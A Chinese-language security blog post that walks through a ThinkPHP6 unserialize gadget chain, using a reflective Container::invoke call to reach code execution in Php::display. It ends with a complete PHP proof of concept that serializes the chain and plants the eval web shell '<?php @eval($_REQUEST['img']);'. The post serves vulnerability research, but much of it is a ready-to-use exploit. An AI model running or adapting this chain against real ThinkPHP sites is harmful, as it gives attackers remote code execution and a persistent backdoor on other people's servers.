细说将反射调用加入pop链
背景
在之前写thinkphp5的反序列化利用链的时候就一直想将反射调用写成利用链的一部分
但是失败了,反射调用存在一些限制,算是个小总结
- 被调用的类的构造方法中不能存在接口参数,类参数和其他类型都无所谓
- 要想反射调用可用
- 被反射的类的构造方法,可以进一步发掘
- 或者反射调用的方法就是
pop链执行的终点
- 因为被调用的类是一个新的实例,不存在我们反序列化的哪些数据
- 可控的就是调用方法时的传参,无法再进一步了
以流程跟踪的方式,非漏洞发现角度编写
ThinkPHP6反序列化利用链的挖掘
首先我确定了终点
Php类的display方法,此方法可以完成代码执行,算的上是完美终点

再来确定入口点
AbstractCache的save方法,主要是继承这个抽象类的方法比较多

而存在反射调用的点就是Container类

详细过程
析构之后,Adapter类继承自AbstractCache类
遂调用Adapter类的save方法

$this->adapter是可控的
此处可以调用任意类的has方法,或者触发__call方法
选择一处__call方法
Log类的__call方法摆脱了不同类之间has方法的反复调用

此时的method值为has,$patameters为任意可控值
跟进log方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function log($level, $message, array $context = []): void { $this->record($message, $level, $context); } ... ... ... public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) { $channel = $this->getConfig('type_channel.' . $type);
$this->channel($channel)->record($msg, $type, $context, $lazy);
return $this; } ... ... ...
|
这时进入了getConfig,需要返回一个完全可控的值

这种调用方式,首先需要类里面存在config这个变量,其次这个变量的修饰符时public
我选择另外一种
可以调用任意类的__get方法,返回一个可控的对象,类似如下View类

再调用返回对象的get方法,返回一个完全可控的值即可,如下Config类

此时$channel值完全可控

跟进channel方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function channel($name = null) { if (is_array($name)) { return new ChannelSet($this, $name); }
return $this->driver($name); } ... ... ... protected function driver(string $name = null) { $name = $name ?: $this->getDefaultDriver();
if (is_null($name)) { throw new InvalidArgumentException(sprintf( 'Unable to resolve NULL driver for [%s].', static::class )); }
return $this->drivers[$name] = $this->getDriver($name); } ... ... ... protected function getDriver(string $name) { return $this->drivers[$name] ?? $this->createDriver($name); } ... ... ...
|
此时可以调用任意类的record方法
msg->has
type->任意可控值
- 其余默认
进入Channel类的record方法

$this->lazy可控,进入save方法
在save方法中可以调用任意类的trigger方法

但是参数是一个类得实例
全局搜索trigger方法
只有Event类的trigger方法没有对参数类型进行限制

后续发现这里需要参数净化,不然传到display方法就是个类的实例
分析参数可知,共三个
event:类型无限制
params:类型无限制
once:bool型
寻找参数净化方法,此时我一般选择array_unshift,向数组的最前插入数据
找到Handler类的__call方法,简直完美

经过参数净化,传入trigger方法的三个参数均已可控
进入trigger的参数

通过$this->listener[$event]取得listeners的值

进入dispatch方法,$event就是键值对的值,设置为数组,params参数可控

进入某个类的invoke方法
此时
$this->app可控
$call可控,为数组
$params可控
进入Container类的invoke方法

跟进invokeMethod方法

跟进invokeClass方法
通过反射返回一个对象的实例

回到invokeMethod方法后,进行参数绑定

$vars为可控的参数值
$class为可控的调用的任意类的任意方法
进入Php类的display方法

end

完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| <?php namespace League\Flysystem\Cached\Storage{ use think\Log; abstract class AbstractCache { protected $autosave = false; public $adapter; public $file; } class Adapter extends AbstractCache { public function __construct() { $this->adapter = new Log(); $this->file = "aaa"; } } } namespace League\Flysystem{ use think\Event; class Config{ protected $settings; public function __construct() { $this->settings['log.type_channel.has'] = "bbb"; } } class Directory{ protected $path; protected $filesystem; public function __construct() { $this->path = false; $this->filesystem = new File(new File(1)); } } class File{ protected $path; protected $filesystem; public function __construct($obj) { $this->path = '<?php @eval($_REQUEST[\'img\']);'; if (is_object($obj)){ $this->filesystem = $obj; }else{ $this->filesystem = new Event(); }
} } } namespace think{ use League\Flysystem\Config; use think\log\Channel; abstract class Manager{ protected $drivers; } class Log extends Manager{ protected $app; protected $drivers; public function __construct() { $this->app = new View(); $this->drivers['bbb'] = new Channel(); } } class View{ protected $data; public function __construct() { $this->data['config'] = new Config(); } } class Event{ protected $listener; protected $app; public function __construct(){ $this->listener['<?php @eval($_REQUEST[\'img\']);'] = [['think\\view\\driver\\Php','display']]; $this->app = new Container(); } } class Container{ } } namespace think\log{ use League\Flysystem\Directory; class Channel{ protected $lazy = false; protected $event; protected $name; public function __construct(){ $this->event = new Directory(); $this->name = "ccc"; } } } namespace { use League\Flysystem\Cached\Storage\Adapter; $a = new Adapter(); echo base64_encode(serialize($a)); }
|